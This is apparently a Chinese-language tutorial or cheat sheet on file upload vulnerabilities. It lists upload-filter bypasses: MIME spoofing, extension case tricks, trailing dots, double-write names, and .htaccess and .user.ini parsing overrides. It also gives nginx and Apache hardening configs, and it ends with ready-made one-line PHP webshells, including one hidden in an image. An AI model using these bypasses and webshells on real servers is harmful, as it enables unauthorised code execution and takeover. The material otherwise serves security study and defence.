文件上传漏洞

1
1. 具备上传点且功能正常
2
2. 知道上传文件的路径且能够访问
3
3. 上传的文件可以被执行（如放在可执行目录）
4
4. 上传文件中的有效代码未被破坏（未被转义/过滤）
5
5. 后端脚本解析器需有足够权限（如管理员权限）
6
6. 配合文件解析漏洞使用
7
7. 未被 WAF 拦截或能够绕过 WAF

1
php、php2、php3、php4、php5、phtml、pht、phps

1
asp、aspx、asa、asax、ascx、ashx、asmx、cer

1
jsp、jspa、jspx、jsw、jsv、jspf、jtml

1
1. 浏览器禁用 JavaScript
2
2. 使用 Burp Suite 修改上传请求
3
3. 删除或修改前端校验逻辑

1
# 正常上传
2
Content-Type: image/jpeg
3

4
# 修改为合法 MIME 类型绕过检查
5
Content-Type: image/gif
6
Content-Type: image/png

1
# 黑名单过滤 .php，但未忽略大小写
2
shell.pHp
3
shell.PhP
4
shell.PHP

1
# Windows 系统会自动去除末尾空格和点
2
shell.php     → 有效
3
shell.php.    → Windows 自动去除末尾点
4
shell.php     → 空格

1
// 黑名单替换 .php 为空（仅替换一次）
2
shell.pphphp  → 替换后 → shell.php

1
# 上传 .htaccess 文件，让任意文件作为 PHP 解析
2
AddType application/x-httpd-php .jpg .png .gif

1
上传 .htaccess → 修改解析规则 → 上传图片马 → 图片马被当作 PHP 执行

1
# 上传 .user.ini 文件（PHP 5.3+）
2
auto_prepend_file = shell.jpg
3
# 所有 PHP 文件执行前自动包含 shell.jpg

1
上传 .user.ini → 设置自动包含 → 上传图片马 → 访问任意 PHP 文件 → 图片马被执行

1
1. 利用系统漏洞提权
2
2. 利用配置错误（如 sudo 配置不当）
3
3. 利用敏感文件获取凭证
4
4. 利用 SUID 文件

1
1. 持续上传恶意文件
2
2. 同时持续访问该文件
3
3. 在检查完成前触发执行

1
# 禁止解析上传目录中的 PHP
2
location /uploads/ {
3
    location ~ .*\.(php|php5)?$ {
4
        deny all;
5
    }
6
}

1
# 禁止解析上传目录中的 PHP
2
<Directory /var/www/html/uploads>
3
    php_flag engine off
4
    AddType text/plain .php .php5 .phtml
5
</Directory>

1
/uploads/ 目录应禁止执行 PHP 文件
2
配置：php_flag engine off

1
<?php @eval($_POST['cmd']); ?>
2
<?php system($_GET['c']); ?>
3
<?= @eval($_POST['cmd']); ?>

1
// 隐藏在一张图片末尾
2
<?php @eval($_POST['cmd']); ?>